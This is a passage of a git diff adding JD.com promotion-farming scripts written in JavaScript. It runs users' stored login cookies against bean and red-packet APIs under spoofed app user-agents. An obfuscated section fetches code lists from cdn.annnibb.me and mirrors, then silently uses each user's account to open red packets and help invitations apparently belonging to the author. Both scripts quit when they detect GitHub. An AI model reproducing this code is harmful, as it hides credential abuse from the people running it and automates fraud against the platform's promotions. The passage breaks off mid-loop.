_0x4f1e7a={'https':_0x4fb211[_0x2e68('26','ndfP')]({'proxy':{'host':process['env'][_0x2e68('27','n9RU')],'port':_0x24ce01['UPHHU'](process[_0x2e68('28','!J!%')]['TG_PROXY_PORT'],0x1)}})};Object[_0x2e68('29','So3O')](_0x1a6d03,{'agent':_0x4f1e7a});}$[_0x2e68('2a','a30X')](_0x1a6d03,async(_0x4a3d6b,_0x39331d,_0x3da076)=>{try{if(_0x4a3d6b){}else{if(_0x3da076)_0x3da076=JSON['parse'](_0x3da076);}}catch(_0x4baa72){}finally{_0x46e600(_0x3da076);}});await $[_0x2e68('2b','y1zc')](0x2710);_0x46e600();}});}async function helpOpenRedPacket(){var _0x2c9900={'RXhIj':function(_0x2e046a,_0x41abdd){return _0x2e046a(_0x41abdd);},'FBcBr':'http://cdn.annnibb.me/ce4ef3ec98443ed10da505114b58f153.json','qiqPI':_0x2e68('2c','5WQo'),'oUjja':_0x2e68('2d','mwCB'),'ZwAWg':function(_0x272ca6,_0x578e45,_0x5b94be){return _0x272ca6(_0x578e45,_0x5b94be);},'WEdgR':function(_0x45a722,_0x413719){return _0x45a722(_0x413719);}};let _0x33822a=await _0x2c9900[_0x2e68('2e','Vhx!')](getAuthorShareCode2,_0x2e68('2f','oxIm')),_0x165138=await getAuthorShareCode2(_0x2c9900[_0x2e68('30','tsE!')]);$['actId']=_0x33822a&&_0x33822a[_0x2e68('31','jv5T')]||_0x2e68('32','ndfP');if(!_0x33822a){_0x33822a=await _0x2c9900[_0x2e68('33','gcEx')](getAuthorShareCode2,_0x2c9900['qiqPI']);$['actId']=_0x33822a&&_0x33822a[_0x2e68('34',')FP7')]||_0x2c9900['oUjja'];}$[_0x2e68('35','yTHr')]=_0x2c9900[_0x2e68('36','0&d]')](getRandomArrayElements,[..._0x165138||[],..._0x33822a&&_0x33822a[_0x2e68('37','[OPZ')]||[]],[..._0x165138||[],..._0x33822a&&_0x33822a[_0x2e68('38','8E$M')]||[]][_0x2e68('39','7h&V')]);for(let _0x33c7a5 of $[_0x2e68('3a','5WQo')]){if(!_0x33c7a5)continue;await _0x2c9900[_0x2e68('3b','jv5T')](dismantleRedEnvelope,_0x33c7a5);}}function dismantleRedEnvelope(_0x32628b){var _0x2715f8={'SIfgq':function(_0xf1745e){return _0xf1745e();},'RVGKN':_0x2e68('3c','vdM@'),'FEsQe':'application/json,\x20text/plain,\x20*/*','RQrwA':'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/268.36;apprpd/MyJD_Main;ref/https%3A%2F%2Fopenredpacket-jdlite.jd.com%2F%3Flng%3D118.762833%26lat%3D32.242491%26sid%3D8add69d8890bc7f4919f99fb3190f87w%26un_area%3D12_904_908_57903%23%2Fdemolished%3FactId%3Dfa03b421fc63499f8e7cd2a3434a6934;psq/22;ads/;psn/2618472e6e237c0252a67dffefc09de587946e87|680;jdv/0|kong|t_2008333145_|jingfen|7e4ac355e0dc416a99409fff0461a396|1617205187;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS\x2014.4.1;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_4_1\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','GhxEJ':'https://openredpacket-jdlite.jd.com/','IwEJi':'zh-cn','yMvRN':_0x2e68('3d','uMQ#'),'tTbJb':function(_0x4733f8,_0x3efd46){return _0x4733f8(_0x3efd46);},'qRHCD':_0x2e68('3e','Z#H#')};const _0x5c5114={'Host':_0x2e68('3f','Vhx!'),'Origin':_0x2715f8[_0x2e68('40','h#i3')],'Accept':_0x2715f8[_0x2e68('41','ndfP')],'User-Agent':_0x2715f8[_0x2e68('42','%W8O')],'Referer':_0x2715f8['GhxEJ'],'Accept-Language':_0x2715f8[_0x2e68('43','5)7E')],'Cookie':cookie};const _0x1d2632=Date[_0x2e68('44','#i4u')]();const _0x190960={'packetId':''+_0x32628b['toString'](),'actId':$[_0x2e68('45','5WQo')],'frontendInitStatus':'s','antiToken':_0x2715f8[_0x2e68('46','tcb!')],'platform':0x3};const _0x5ca1cb=_0x2e68('47','gcEx')+_0x2715f8[_0x2e68('48','dzsc')](escape,JSON[_0x2e68('49','tsE!')](_0x190960))+_0x2e68('4a','Vhx!')+_0x1d2632+_0x2e68('4b','Opjc')+_0x1d2632;const _0x4d361b={'url':_0x2e68('4c','bl@!')+_0x1d2632,'method':_0x2715f8['qRHCD'],'headers':_0x5c5114,'body':_0x5ca1cb};return new Promise(_0x572e01=>{$['post'](_0x4d361b,(_0x30599a,_0x3589ec,_0xc8bbfe)=>{_0x2715f8['SIfgq'](_0x572e01);});});}async function aaa(){var _0x23e4e9={'cCmfO':function(_0x1c3613,_0x295c24){return _0x1c3613(_0x295c24);},'tfqVM':_0x2e68('4d','fxE9'),'hwOsZ':function(_0x3b3e35,_0xac9a4e){return _0x3b3e35(_0xac9a4e);},'LvEen':_0x2e68('4e','*^Sz'),'zrLZW':function(_0x538ef2,_0x193fca){return _0x538ef2!==_0x193fca;},'pROUD':_0x2e68('4f','jv5T'),'gOmhr':_0x2e68('50','!8Uv'),'PHhBT':function(_0x34352f,_0x28c1df){return _0x34352f(_0x28c1df);},'KePDl':'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/bigWinner.json','SDREf':function(_0xe348aa,_0x439d0e,_0x3a4d9d){return _0xe348aa(_0x439d0e,_0x3a4d9d);},'dkEjF':_0x2e68('51','vdM@')};let _0x259e3f=await _0x23e4e9[_0x2e68('52','oy9g')](getAuthorShareCode2,_0x23e4e9[_0x2e68('53','fYl9')]),_0x1a2c84=await _0x23e4e9['hwOsZ'](getAuthorShareCode2,_0x23e4e9['LvEen']);if(!_0x259e3f){if(_0x23e4e9[_0x2e68('54','bl@!')](_0x23e4e9['pROUD'],_0x23e4e9[_0x2e68('55','kkj%')])){_0x259e3f=await _0x23e4e9[_0x2e68('56','gCec')](getAuthorShareCode2,_0x23e4e9['KePDl']);}else{if(data)data=JSON['parse'](data);}}$[_0x2e68('57','6lP7')]=getRandomArrayElements([..._0x1a2c84||[],..._0x259e3f||[]],[..._0x1a2c84||[],..._0x259e3f||[]][_0x2e68('58','tcb!')]);for(let _0x25d08c of $[_0x2e68('59','0&d]')]){if(!_0x25d08c['inviter'])continue;await _0x23e4e9[_0x2e68('5a','XAWK')](_618,_0x25d08c[_0x2e68('5b','sKj5')],_0x25d08c[_0x23e4e9[_0x2e68('5c','sKj5')]]);}}function _618(_0xce999c,_0x1f93d4,_0xa95934=_0x2e68('5d','THJ&')){var _0x57dca3={'NoURO':function(_0x1dac56,_0x4c3f0b){return _0x1dac56*_0x4c3f0b;},'MRJEY':function(_0x5010ce,_0x247c9c){return _0x5010ce+_0x247c9c;},'oTCBl':function(_0x246c0e,_0x2962e1){return _0x246c0e===_0x2962e1;},'fBTso':_0x2e68('5e','o&TS'),'qAkiN':_0x2e68('5f','Z#H#'),'LBkoa':_0x2e68('60','$Ni3')};return new Promise(_0x3fc8e5=>{var _0x52ac30={'mlwMu':function(_0x17c032,_0x4fceea){return _0x57dca3[_0x2e68('61','!J!%')](_0x17c032,_0x4fceea);},'gpIxS':function(_0x202e9a,_0x1f0cd4){return _0x57dca3[_0x2e68('62','^rQC')](_0x202e9a,_0x1f0cd4);}};if(_0x57dca3[_0x2e68('63','Vhx!')](_0x57dca3[_0x2e68('64','o&TS')],_0x57dca3['qAkiN'])){index=Math['floor'](_0x52ac30['mlwMu'](_0x52ac30['gpIxS'](i,0x1),Math[_0x2e68('65','8E$M')]()));temp=shuffled[index];shuffled[index]=shuffled[i];shuffled[i]=temp;}else{$[_0x2e68('66','!8Uv')]({'url':_0x2e68('67',']a7e')+_0xa95934+_0x2e68('68','^rQC')+_0xce999c+_0x2e68('69','N1sQ')+_0x1f93d4+_0x2e68('6a','vdM@')+ +new Date()+_0x2e68('6b','fYl9'),'headers':{'Host':_0x2e68('6c','gCec'),'accept':_0x2e68('6d','vdM@'),'origin':_0x57dca3[_0x2e68('6e','Z#H#')],'user-agent':'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_2\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','accept-language':_0x2e68('6f','THJ&'),'referer':'https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&redEnvelopeId='+_0xce999c+_0x2e68('70','Opjc')+_0x1f93d4+'&helpType=1&lng=&lat=&sid=','Cookie':cookie}},(_0x33eaca,_0x4d59c3,_0x4c619c)=>{_0x3fc8e5();});}});};_0xod8='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_syj.js b/jd_syj.js new file mode 100644 index 0000000..a36fee2 --- /dev/null +++ b/jd_syj.js @@ -0,0 +1,846 @@ +/* +赚京豆脚本,一:做任务 天天领京豆(加速领京豆)、三:赚京豆-瓜分京豆 +Last Modified time: 2021-5-21 17:58:02 +活动入口:赚京豆(微信小程序)-赚京豆-签到领京豆 +更新地址:jd_syj.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#赚京豆 +10 0,7,23 * * * jd_syj.js, tag=赚京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_syj.png, enabled=true + +================Loon============== +[Script] +cron "10 0,7,23 * * *" script-path=jd_syj.js, tag=赚京豆 + +===============Surge================= +赚京豆 = type=cron,cronexp="10 0,7,23 * * *",wake-system=1,timeout=3600,script-path=jd_syj.js + +============小火箭========= +赚京豆 = type=cron,script-path=jd_syj.js, cronexpr="10 0,7,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('赚京豆'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +$.tuanList = []; +$.authorTuanList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await getAuthorShareCode('http://cdn.annnibb.me/jd_zz.json'); + await getAuthorShareCode('https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_zz.json'); + await getRandomCode(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } + console.log(`\n\n内部互助 【赚京豆(微信小程序)-瓜分京豆】活动(优先内部账号互助(需内部cookie数量大于${$.assistNum || 4}个),如有剩余助力次数则给作者和随机团助力)\n`) + for (let i = 0; i < cookiesArr.length; i++) { + $.canHelp = true + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.canHelp && (cookiesArr.length > $.assistNum)) { + if ($.tuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,优先内部账号互助`) + for (let j = 0; j < $.tuanList.length; ++j) { + console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`) + await helpFriendTuan($.tuanList[j]) + if(!$.canHelp) break + await $.wait(200) + } + } + if ($.canHelp) { + $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])]; + if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,如有剩余则给作者和随机团助力`) + for (let j = 0; j < $.authorTuanList.length; ++j) { + console.log(`账号 ${$.UserName} 开始给作者和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`) + await helpFriendTuan($.authorTuanList[j]) + if(!$.canHelp) break + await $.wait(200) + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +async function main() { + try { + // await userSignIn();//赚京豆-签到领京豆 + await vvipTask();//赚京豆-加速领京豆 + await distributeBeanActivity();//赚京豆-瓜分京豆 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +//================赚京豆-签到领京豆=================== +let signFlag = 0; +function userSignIn() { + return new Promise(resolve => { + const body = {"activityId":"ccd8067defcd4787871b7f0c96fcbf5c","inviterId":"","channel":"MiniProgram"}; + $.get(taskUrl('userSignIn', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + signFlag = 0; + console.log(`${$.name}今日签到成功`); + if (data.data) { + let { alreadySignDays, beanTotalNum, todayPrize, eachDayPrize } = data.data; + message += `【第${alreadySignDays}日签到】成功,获得${todayPrize.beanAmount}京豆 🐶\n`; + if (alreadySignDays === 7) alreadySignDays = 0; + message += `【明日签到】可获得${eachDayPrize[alreadySignDays].beanAmount}京豆 🐶\n`; + message += `【累计获得】${beanTotalNum}京豆 🐶`; + } + } else if (data.code === 81) { + console.log(`【签到】失败,今日已签到`) + // message += `【签到】失败,今日已签到`; + } else if (data.code === 6) { + //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到 + $.log(`${$.name}签到失败${signFlag}:${data.msg}`); + if (signFlag < 3) { + signFlag ++; + await userSignIn(); + } + } else if (data.code === 66) { + //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到 + $.log(`${$.name}签到失败:${data.msg}`); + message += `【签到】失败,${data.msg}`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//================赚京豆-加速领京豆=================== +async function vvipTask() { + try { + $.vvipFlag = false; + $.rewardBeanNum = 0; + await vvipscdp_raffle_auto_send_bean(); + await pg_channel_page_data(); + if (!$.vvipFlag) return + await vviptask_receive_list();//做任务 + await $.wait(1000) + await pg_channel_page_data(); + } catch (e) { + $.logErr(e) + } +} +function pg_channel_page_data() { + return new Promise(resolve => { + const body = {"paramData": {"token": "3b9f3e0d-7a67-4be3-a05f-9b076cb8ed6a"}}; + $.get(taskUrl('pg_channel_page_data', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + if (data['data'] && data['data']['floorInfoList']) { + const floorInfo = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === "SWAT_RED_PACKET_ACT_INFO")[0]; + if (floorInfo.hasOwnProperty('token') && floorInfo['floorData'].hasOwnProperty('userActivityInfo')) { + $.token = floorInfo['token']; + const { activityExistFlag, redPacketOpenFlag, redPacketRewardTakeFlag, beanAmountTakeMinLimit, currActivityBeanAmount } = floorInfo['floorData']['userActivityInfo']; + if (activityExistFlag) { + if (!redPacketOpenFlag) { + console.log(`【做任务 天天领京豆】 活动未开启,现在去开启此活动\n`) + await openRedPacket($.token); + } else { + if (currActivityBeanAmount < beanAmountTakeMinLimit) $.vvipFlag = true; + if (redPacketRewardTakeFlag) { + console.log(`【做任务 天天领京豆】 ${beanAmountTakeMinLimit}京豆已领取`); + } else { + if (currActivityBeanAmount >= beanAmountTakeMinLimit) { + //领取200京豆 + console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`) + console.log(`【做任务 天天领京豆】 当前已到领取京豆条件。开始领取京豆\n`); + await pg_interact_interface_invoke($.token); + } else { + console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`) + console.log(`【做任务 天天领京豆】 当前未达到领取京豆条件。开始做任务\n`); + await pg_channel_page_data(); + } + } + } + } else { + console.log(`【做任务 天天领京豆】 活动已下线`) + } + } + } + } else { + console.log(`pg_channel_page_data: ${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抽奖 +function vvipscdp_raffle_auto_send_bean() { + const body = {"channelCode": "swat_system_id"} + const options = { + url: `${JD_API_HOST}api?functionId=vvipscdp_raffle_auto_send_bean&body=${escape(JSON.stringify(body))}&appid=lottery_drew&t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://lottery.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + if (data.data && data.data['sendBeanAmount']) { + console.log(`【做任务 天天领京豆】 送成功:获得${data.data['sendBeanAmount']}京豆`) + $.rewardBeanNum += data.data['sendBeanAmount']; + } + } else { + console.log("【做任务 天天领京豆】 送京异常:" + data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function vviptask_receive_list() { + $.taskData = []; + const body = {"channel":"SWAT_RED_PACKET","systemId":"19","withAutoAward":1} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_receive_list&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.taskData = data['data'].filter(vo => !!vo && vo['taskDataStatus'] !== 3); + for (let item of 